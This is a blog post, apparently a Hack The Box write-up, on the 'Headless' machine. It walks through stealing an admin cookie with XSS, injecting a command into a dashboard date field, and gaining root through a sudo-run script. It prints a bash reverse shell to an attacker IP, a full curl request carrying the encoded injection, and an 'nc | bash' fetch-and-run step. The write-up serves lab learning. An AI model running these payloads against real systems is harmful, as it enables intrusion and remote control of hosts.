Dissecting Headless — Hack The Box (HTB) Write-Up

Nick Doyle
7 min readMay 20, 2024

--

Lately I’ve been playing with hackthebox. I miss doing this stuff, it reminds me of way back in uni running through the tutorials in The Hacker’s Handbook, it was how I learnt a lot of unix basics way back when, many of which I still use to this day (especially netcat).

My rank on HTB is literally “script kiddie”, and I still need guides for even the basic machines, and for this one I used https://medium.com/@pk2212/htb-headless-walkthrough-237071647aee

That guide itself is fine and helpful, I won’t duplicate it here.

However I would like to drill into more detail of how this challenge is put together. If you’re just looking to fly through the box for points you don’t need to actually understand this stuff, and I think many guides are too brief and high-level, afforing only superficial “whats”, not often the “whys”.

Overview of the XSS Attack

This is the first phase I’ll be describing

Why do we think about XSS on this form?

It’s probably worth checking any web form for XSS. But more-so here due to the big clue left here, that this report is “sent to the administrators for investigation”.

Additionally the clue is dropped that there’s an “is_admin” cookie.

This means, if we can control what goes into this report, we can control something that’s viewed on the admin’s machine; if we can inject XSS into the report, the admin will run it.

This is also the reason why having the XSS payload in the form data isn’t the malicious part of the payload — it’s what triggers the “hacking attempt” logic, but not the actual malicious payload — in the attack this is put into the User-Agent header, and since this is not checked and written verbatim into the report viewed by the admin, this is why the XSS works.

Bonus Approach — Checking for XSS with Zap

Having got through the XSS with the help of the guide, I wondered rather than manual poking is there another way to do this? I’ve been meaning to take OWASP Zap for a spin so thought I’d try it out https://www.zaproxy.org/

For starters, I ran its Automated Scan

And sure enough it gives some very useful pointers (that I would definitely need if I didn’t have pk2212’s guide)

Namely the cookie not having HTTPOnly set means it’s vulnerable to being retrieved in javascript, and vulnerable to our attack.

Additionally, fuzzing this form also shows the reflection (which here is an indicator only, but not actively exploited).

The fuzzer in Zap is pretty awesome, the builtin lists from jbrofuzz are a bit tucked away but super useful. Here’s how you can fuzz the user agent with it’s XSS patterns:

And as expected (again not actively useful in the attack, more a fun use of the tool) they’re all shown as reflected (cos obviously the page is just echoing them back wholesale)

All useful

Why does this XSS work?

But HTB is an automated platform right, surely there’s no actual admin viewing these reports? So why some time after POSTing my XSS’d payload do I get an admin cookie?

I didn’t see anyone explaining this, and it really bugged me how they were like “oh I just dun a XSS and got an admin cookie like magic!”

No it wasn’t magic there’s something intentionally put there to simulate an admin loading your XSS.

It was quite interesting once getting a shell, to dig into how it works.
What happens, is app.py writes these reports to disk:

@app.route('/support', methods=['GET', 'POST'])
def support():
if request.method == 'POST':
message = request.form.get('message')
if ("<" in message and ">" in message) or ("{{" in message and "}}" in message):
request_info = {
"Method": request.method,
"URL": request.url,
"Headers": format_request_info(dict(request.headers)),
}

formatted_request_info = format_request_info(request_info)
html = render_template('hackattempt.html', request_info=formatted_request_info)

filename = f'{random.randint(1, 99999999999999999999999)}.html'
with open(os.path.join(hacking_reports_dir, filename), 'w', encoding='utf-8') as html_file:
html_file.write(html)

return html

return render_template('support.html')

But then what? How does the “admin” “view” them?

That’s when I thought, is there some process regularly running to do so? So we crontab -l and sure enough

@reboot /usr/bin/python3 /home/dvir/app/inspect_reports.py

Got to admit, I’ve never started a service at bootup time like that, but that’s what this does.

And that script uses selenium (a “headless” web browser) to, in an infinite loop (with sleep 60) first retrieve the site’s root page, then retrieve /hacking_reports/$i.html (for every report).

#!/usr/bin/python3

import os
import requests
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.service import Service

def extract_number(filename):
return os.path.splitext(filename)[0]

options = webdriver.FirefoxOptions()
options.add_argument('--headless')
driver = webdriver.Firefox(options=options)
driver.set_page_load_timeout(5)

while True:
login_url = "http://localhost:5000/"

html_directory = "/home/dvir/app/hacking_reports"

html_files = [f for f in os.listdir(html_directory) if f.endswith(".html")]

base_url = "http://localhost:5000/hacking_reports/"

for html_file in html_files:
number = extract_number(html_file)
url = base_url + number

print(f"Trying: {url}")

try:
driver.get(login_url)
driver.get(url)
time.sleep(2)
except Exception as e:
print(f"Error: {e}")
pass
os.remove("/home/dvir/app/hacking_reports/" + html_file)
time.sleep(60)

Of course, this is why the author named the box “headless”, makes total sense.

But where’s the admin cookie come from? You can see that “security” has been implemented in this app, by the business rule “if someone requests the homepage from localhost they get the admin cookie”

from flask import Flask, render_template, request, make_response, abort, send_file
from itsdangerous import URLSafeSerializer
import os
import random

app = Flask(__name__, template_folder=".")


app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'
serializer = URLSafeSerializer(app.secret_key)

hacking_reports_dir = '/home/dvir/app/hacking_reports'
os.makedirs(hacking_reports_dir, exist_ok=True)

@app.route('/')
def index():
client_ip = request.remote_addr
is_admin = True if client_ip in ['127.0.0.1', '::1'] else False
token = "admin" if is_admin else "user"
serialized_value = serializer.dumps(token)

response = make_response(render_template('index.html', is_admin=token))
response.set_cookie('is_admin', serialized_value, httponly=False)

return response

This does also mean you can get the admin cookie by (once you have a shell) curling from localhost, updating that array of IPs, or socks-over-ssh your proxy; all valid ways

ssh dvir@10.10.11.8 -L 5000:127.0.0.1:5000

It was also interesting to learn how the app uses itsdangerous URLSafeSerializer to serialize the cookie, and worth digressing a bit on that to learn about writing secure python code.

Phase 2: Popping the Shell

Once you have the admin cookie, you can access /dashboard (find with gobuster or similar).

Again, I gotta admit there’s nothing here to indicate this page is running bash in the background, an even using all the possibly-relevent jbrofuzz techniques in Zap’s fuzzer, I couldn’t replicate it finding that adding a semicolon to the payload would be the start.

I guess either it’s one of those things you just try manually, or get more extensive fuzzing.

It was also at this point, another walkthrough I found popped the shell by http hosting a shell script to launch bash with the stdin/out redirects etc, then curl that script before finally launching it. Seems kinda convoluted.

The way I figured was our standard reverse shell (urlencoded)

/bin/bash -c 'bash -i &> /dev/tcp/10.10.14.34/4444 0>&1'
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: 10.10.11.8:5000' -H $'Content-Length: 118' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://10.10.11.8:5000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Referer: http://10.10.11.8:5000/dashboard' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0' \
--data-binary $'date=2023-09-15;%2Fbin%2Fbash%20%2Dc%20%27bash%20%2Di%20%26%3E%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E34%2F4444%200%3E%261%27' \
$'http://10.10.11.8:5000/dashboard'

Phase 3: Privesc

This bit was almost too easy and tbh not as interesting as the XSS implementation so I’ll just go over it briefly.

Because I’m a script kiddy I’m just gonna linpeas it. Since the box has no external connectivity I figured this simple way to proxy it via my attacking machine:

Attacker:
sudo socat TCP-LISTEN:80,fork,reuseaddr EXEC:"curl -L https\://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"

Victim:
nc 10.10.14.34 80 | bash

But really, it’s not needed here.

When you log in as dvir you’ll see dvir has some mail:

-bash-5.2$ cat /var/spool/mail/dvir
Subject: Important Update: New System Check Script

Hello!

We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.

What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.

Rest assured, this script is at your disposal and won't affect your regular use of the system.

If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.

By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

You can also see he’s a sudoer

-bash-5.2$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck

If you run/check out /usr/bin/syscheck, you can see it runs dvir’s initdb.sh

Pretty bad, having root run a user-controlled script. Edit it, run syscheck and get your flag.

--

--

Nick Doyle
Nick Doyle

Written by Nick Doyle

Cloud-Security-Agile, in Melbourne Australia, experience includes writing profanity-laced Perl, surprise Migrations, furious DB Admin and Motorcycle instructing

No responses yet